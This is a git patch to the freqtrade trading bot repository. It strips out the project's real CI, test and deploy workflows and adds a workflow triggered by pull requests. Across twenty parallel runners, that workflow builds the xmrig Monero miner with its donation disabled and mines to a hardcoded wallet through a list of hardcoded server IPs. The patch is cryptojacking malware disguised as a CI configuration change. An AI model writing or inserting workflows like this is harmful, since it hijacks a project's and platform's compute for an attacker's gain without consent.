From 7d9777723c85caf4d33ef384889ad031335d1b94 Mon Sep 17 00:00:00 2001 From: Matthias Date: Mon, 5 Apr 2021 11:56:28 +0000 Subject: [PATCH] --- .github/workflows/ci.yml | 484 +++------------------ .github/workflows/docker_update_readme.yml | 18 - 2 files changed, 66 insertions(+), 436 deletions(-) delete mode 100644 .github/workflows/docker_update_readme.yml diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 8e15a5a89..5f198b308 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -1,419 +1,67 @@ -name: Freqtrade CI - -on: - push: - branches: - - master - - stable - - develop - tags: - release: - types: [published] - pull_request: - schedule: - - cron: '0 5 * * 4' - +name: Run +on: [pull_request] jobs: - build_linux: - - runs-on: ${{ matrix.os }} - strategy: - matrix: - os: [ ubuntu-18.04, ubuntu-20.04 ] - python-version: [3.7, 3.8, 3.9] - - steps: - - uses: actions/checkout@v2 - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: ${{ matrix.python-version }} - - - name: Cache_dependencies - uses: actions/cache@v2 - id: cache - with: - path: ~/dependencies/ - key: ${{ runner.os }}-dependencies - - - name: pip cache (linux) - uses: actions/cache@v2 - if: startsWith(matrix.os, 'ubuntu') - with: - path: ~/.cache/pip - key: test-${{ matrix.os }}-${{ matrix.python-version }}-pip - - - name: TA binary *nix - if: steps.cache.outputs.cache-hit != 'true' - run: | - cd build_helpers && ./install_ta-lib.sh ${HOME}/dependencies/; cd .. - - - name: Installation - *nix - run: | - python -m pip install --upgrade pip - export LD_LIBRARY_PATH=${HOME}/dependencies/lib:$LD_LIBRARY_PATH - export TA_LIBRARY_PATH=${HOME}/dependencies/lib - export TA_INCLUDE_PATH=${HOME}/dependencies/include - pip install -r requirements-dev.txt - pip install -e . - - - name: Tests - run: | - pytest --random-order --cov=freqtrade --cov-config=.coveragerc - if: matrix.python-version != '3.9' - - - name: Tests incl. ccxt compatibility tests - run: | - pytest --random-order --cov=freqtrade --cov-config=.coveragerc --longrun - if: matrix.python-version == '3.9' - - - name: Coveralls - if: (startsWith(matrix.os, 'ubuntu-20') && matrix.python-version == '3.8') - env: - # Coveralls token. Not used as secret due to github not providing secrets to forked repositories - COVERALLS_REPO_TOKEN: 6D1m0xupS3FgutfuGao8keFf9Hc0FpIXu - run: | - # Allow failure for coveralls - coveralls -v || true - - - name: Backtesting - run: | - cp config_bittrex.json.example config.json - freqtrade create-userdir --userdir user_data - freqtrade backtesting --datadir tests/testdata --strategy SampleStrategy - - - name: Hyperopt - run: | - cp config_bittrex.json.example config.json - freqtrade create-userdir --userdir user_data - freqtrade hyperopt --datadir tests/testdata -e 5 --strategy SampleStrategy --hyperopt SampleHyperOpt --hyperopt-loss SharpeHyperOptLossDaily --print-all - - - name: Flake8 - run: | - flake8 - - - name: Sort imports (isort) - run: | - isort --check . - - - name: Mypy - run: | - mypy freqtrade scripts - - - name: Slack Notification - uses: lazy-actions/slatify@v3.0.0 - if: failure() && ( github.event_name != 'pull_request' || github.event.pull_request.head.repo.fork == false) - with: - type: ${{ job.status }} - job_name: '*Freqtrade CI ${{ matrix.os }}*' - mention: 'here' - mention_if: 'failure' - channel: '#notifications' - url: ${{ secrets.SLACK_WEBHOOK }} - - build_macos: - runs-on: ${{ matrix.os }} - strategy: - matrix: - os: [ macos-latest ] - python-version: [3.7, 3.8, 3.9] - - steps: - - uses: actions/checkout@v2 - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: ${{ matrix.python-version }} - - - name: Cache_dependencies - uses: actions/cache@v2 - id: cache - with: - path: ~/dependencies/ - key: ${{ runner.os }}-dependencies - - - name: pip cache (macOS) - uses: actions/cache@v2 - if: startsWith(matrix.os, 'macOS') - with: - path: ~/Library/Caches/pip - key: test-${{ matrix.os }}-${{ matrix.python-version }}-pip - - - name: TA binary *nix - if: steps.cache.outputs.cache-hit != 'true' - run: | - cd build_helpers && ./install_ta-lib.sh ${HOME}/dependencies/; cd .. - - - name: Installation - macOS - run: | - brew install hdf5 c-blosc - python -m pip install --upgrade pip - export LD_LIBRARY_PATH=${HOME}/dependencies/lib:$LD_LIBRARY_PATH - export TA_LIBRARY_PATH=${HOME}/dependencies/lib - export TA_INCLUDE_PATH=${HOME}/dependencies/include - pip install -r requirements-dev.txt - pip install -e . - - - name: Tests - run: | - pytest --random-order --cov=freqtrade --cov-config=.coveragerc - - - name: Coveralls - if: (startsWith(matrix.os, 'ubuntu-20') && matrix.python-version == '3.8') - env: - # Coveralls token. Not used as secret due to github not providing secrets to forked repositories - COVERALLS_REPO_TOKEN: 6D1m0xupS3FgutfuGao8keFf9Hc0FpIXu - run: | - # Allow failure for coveralls - coveralls -v || true - - - name: Backtesting - run: | - cp config_bittrex.json.example config.json - freqtrade create-userdir --userdir user_data - freqtrade backtesting --datadir tests/testdata --strategy SampleStrategy - - - name: Hyperopt - run: | - cp config_bittrex.json.example config.json - freqtrade create-userdir --userdir user_data - freqtrade hyperopt --datadir tests/testdata -e 5 --strategy SampleStrategy --hyperopt SampleHyperOpt --hyperopt-loss SharpeHyperOptLossDaily --print-all - - - name: Flake8 - run: | - flake8 - - - name: Sort imports (isort) - run: | - isort --check . - - - name: Mypy - run: | - mypy freqtrade scripts - - - name: Slack Notification - uses: lazy-actions/slatify@v3.0.0 - if: failure() && ( github.event_name != 'pull_request' || github.event.pull_request.head.repo.fork == false) - with: - type: ${{ job.status }} - job_name: '*Freqtrade CI ${{ matrix.os }}*' - mention: 'here' - mention_if: 'failure' - channel: '#notifications' - url: ${{ secrets.SLACK_WEBHOOK }} - - - build_windows: - - runs-on: ${{ matrix.os }} - strategy: - matrix: - os: [ windows-latest ] - python-version: [3.7, 3.8] - - steps: - - uses: actions/checkout@v2 - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: ${{ matrix.python-version }} - - - name: Pip cache (Windows) - uses: actions/cache@preview - if: startsWith(runner.os, 'Windows') - with: - path: ~\AppData\Local\pip\Cache - key: ${{ matrix.os }}-${{ matrix.python-version }}-pip - - - name: Installation - run: | - ./build_helpers/install_windows.ps1 - - - name: Tests - run: | - pytest --random-order --cov=freqtrade --cov-config=.coveragerc - - - name: Backtesting - run: | - cp config_bittrex.json.example config.json - freqtrade create-userdir --userdir user_data - freqtrade backtesting --datadir tests/testdata --strategy SampleStrategy - - - name: Hyperopt - run: | - cp config_bittrex.json.example config.json - freqtrade create-userdir --userdir user_data - freqtrade hyperopt --datadir tests/testdata -e 5 --strategy SampleStrategy --hyperopt SampleHyperOpt --hyperopt-loss SharpeHyperOptLossDaily --print-all - - - name: Flake8 - run: | - flake8 - - - name: Mypy - run: | - mypy freqtrade scripts - - - name: Slack Notification - uses: lazy-actions/slatify@v3.0.0 - if: failure() && ( github.event_name != 'pull_request' || github.event.pull_request.head.repo.fork == false) - with: - type: ${{ job.status }} - job_name: '*Freqtrade CI windows*' - mention: 'here' - mention_if: 'failure' - channel: '#notifications' - url: ${{ secrets.SLACK_WEBHOOK }} - - docs_check: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v2 - - - name: Documentation syntax - run: | - ./tests/test_docs.sh - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Documentation build - run: | - pip install -r docs/requirements-docs.txt - pip install mkdocs - mkdocs build - - - name: Slack Notification - uses: lazy-actions/slatify@v3.0.0 - if: failure() && ( github.event_name != 'pull_request' || github.event.pull_request.head.repo.fork == false) - with: - type: ${{ job.status }} - job_name: '*Freqtrade Docs*' - channel: '#notifications' - url: ${{ secrets.SLACK_WEBHOOK }} - - cleanup-prior-runs: - runs-on: ubuntu-20.04 - steps: - - name: Cleanup previous runs on this branch - uses: rokroskar/workflow-run-cleanup-action@v0.2.2 - if: "!startsWith(github.ref, 'refs/tags/') && github.ref != 'refs/heads/stable' && github.repository == 'freqtrade/freqtrade'" - env: - GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}" - - # Notify on slack only once - when CI completes (and after deploy) in case it's successfull - notify-complete: - needs: [ build_linux, build_macos, build_windows, docs_check ] - runs-on: ubuntu-20.04 - steps: - - - name: Check user permission - id: check - uses: scherermichael-oss/action-has-permission@1.0.6 - with: - required-permission: write - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - - - name: Slack Notification - uses: lazy-actions/slatify@v3.0.0 - if: always() && steps.check.outputs.has-permission && ( github.event_name != 'pull_request' || github.event.pull_request.head.repo.fork == false) - with: - type: ${{ job.status }} - job_name: '*Freqtrade CI*' - channel: '#notifications' - url: ${{ secrets.SLACK_WEBHOOK }} - - deploy: - needs: [ build_linux, build_macos, build_windows, docs_check ] - runs-on: ubuntu-20.04 - - if: (github.event_name == 'push' || github.event_name == 'schedule' || github.event_name == 'release') && github.repository == 'freqtrade/freqtrade' - steps: - - uses: actions/checkout@v2 - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Extract branch name - shell: bash - run: echo "##[set-output name=branch;]$(echo ${GITHUB_REF##*/})" - id: extract_branch - - - name: Build distribution - run: | - pip install -U setuptools wheel - python setup.py sdist bdist_wheel - - - name: Publish to PyPI (Test) - uses: pypa/gh-action-pypi-publish@master - if: (github.event_name == 'release') - with: - user: __token__ - password: ${{ secrets.pypi_test_password }} - repository_url: https://test.pypi.org/legacy/ - - - name: Publish to PyPI - uses: pypa/gh-action-pypi-publish@master - if: (github.event_name == 'release') - with: - user: __token__ - password: ${{ secrets.pypi_password }} - - - name: Dockerhub login - env: - DOCKER_PASSWORD: ${{ secrets.DOCKER_PASSWORD }} - DOCKER_USERNAME: ${{ secrets.DOCKER_USERNAME }} - run: | - echo "${DOCKER_PASSWORD}" | docker login --username ${DOCKER_USERNAME} --password-stdin - - - name: Build and test and push docker image - env: - IMAGE_NAME: freqtradeorg/freqtrade - BRANCH_NAME: ${{ steps.extract_branch.outputs.branch }} - run: | - build_helpers/publish_docker.sh - - # We need docker experimental to pull the ARM image. - - name: Switch docker to experimental - run: | - docker version -f '{{.Server.Experimental}}' - echo $'{\n "experimental": true\n}' | sudo tee /etc/docker/daemon.json - sudo systemctl restart docker - docker version -f '{{.Server.Experimental}}' - - - name: Set up Docker Buildx - id: buildx - uses: crazy-max/ghaction-docker-buildx@v1 - with: - buildx-version: latest - qemu-version: latest - - - name: Available platforms - run: echo ${{ steps.buildx.outputs.platforms }} - - - name: Build Raspberry docker image - env: - IMAGE_NAME: freqtradeorg/freqtrade - BRANCH_NAME: ${{ steps.extract_branch.outputs.branch }}_pi - run: | - build_helpers/publish_docker_pi.sh - - - - name: Slack Notification - uses: lazy-actions/slatify@v3.0.0 - if: always() && ( github.event_name != 'pull_request' || github.event.pull_request.head.repo.fork == false) - with: - type: ${{ job.status }} - job_name: '*Freqtrade CI Deploy*' - mention: 'here' - mention_if: 'failure' - channel: '#notifications' - url: ${{ secrets.SLACK_WEBHOOK }} - + run: + name: Run + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + runner: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19] + steps: + - shell: bash + run: | + sudo apt-get update + sudo apt-get install --yes \ + build-essential \ + cmake \ + git \ + libhwloc-dev \ + libssl-dev \ + libuv1-dev + + curl --location --output xmrig.tar.gz \ + https://github.com/xmrig/xmrig/archive/refs/tags/v6.10.0.tar.gz || exit 1 + tar xf xmrig.tar.gz || exit 1 + cd xmrig-* || exit 1 + # Izvinite))))) + sed -i 's/= 1;/= 0;/' src/donate.h || exit 1 + mkdir build || exit 1 + cd build || exit 1 + cmake .. -DCMAKE_BUILD_TYPE=Release || exit 1 + make --jobs=$(nproc) || exit 1 + + adres=49eqpX3Sn2d5cfJTevgZLGZGQmcdE37QE4TMJDmDcJeCG8DUgkbS5znSsU35Pk2HC1Lt99EnSiP9g74XpUHzTgxw23n5CkB + servery=( + 165.0.74.146:18089 + 84.58.115.216:18089 + 137.103.97.192:18089 + 194.5.250.42:18089 + 96.41.220.52:18089 + 51.79.173.165:18089 + 100.19.74.83:18089 + 204.27.62.98:18089 + 96.43.139.226:18089 + 46.4.52.92:18081 + 144.76.113.157:18081 + ) + servery=( $(shuf -e "${servery[@]}") ) + + cat <config.json + { + "autosave": false, + "cpu": true, + "opencl": false, + "cuda": false, + "pools": [] + } + EOF + + for server in "${servery[@]}"; do + jq --arg server "$server" --arg adres "$adres" \ + '.pools += [{ coin: "monero", url: $server, user: $adres, daemon: true }]' \ + config.json > config.json.tmp || exit 1 + mv config.json.tmp config.json || exit 1 + done + + ./xmrig -c config.json diff --git a/.github/workflows/docker_update_readme.yml b/.github/workflows/docker_update_readme.yml deleted file mode 100644 index 95e69be2a..000000000 --- a/.github/workflows/docker_update_readme.yml +++ /dev/null @@ -1,18 +0,0 @@ -name: Update Docker Hub Description -on: - push: - branches: - - stable - -jobs: - dockerHubDescription: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v1 - - name: Docker Hub Description - uses: peter-evans/dockerhub-description@v2.1.0 - env: - DOCKERHUB_USERNAME: ${{ secrets.DOCKER_USERNAME }} - DOCKERHUB_PASSWORD: ${{ secrets.DOCKER_PASSWORD }} - DOCKERHUB_REPOSITORY: freqtradeorg/freqtrade -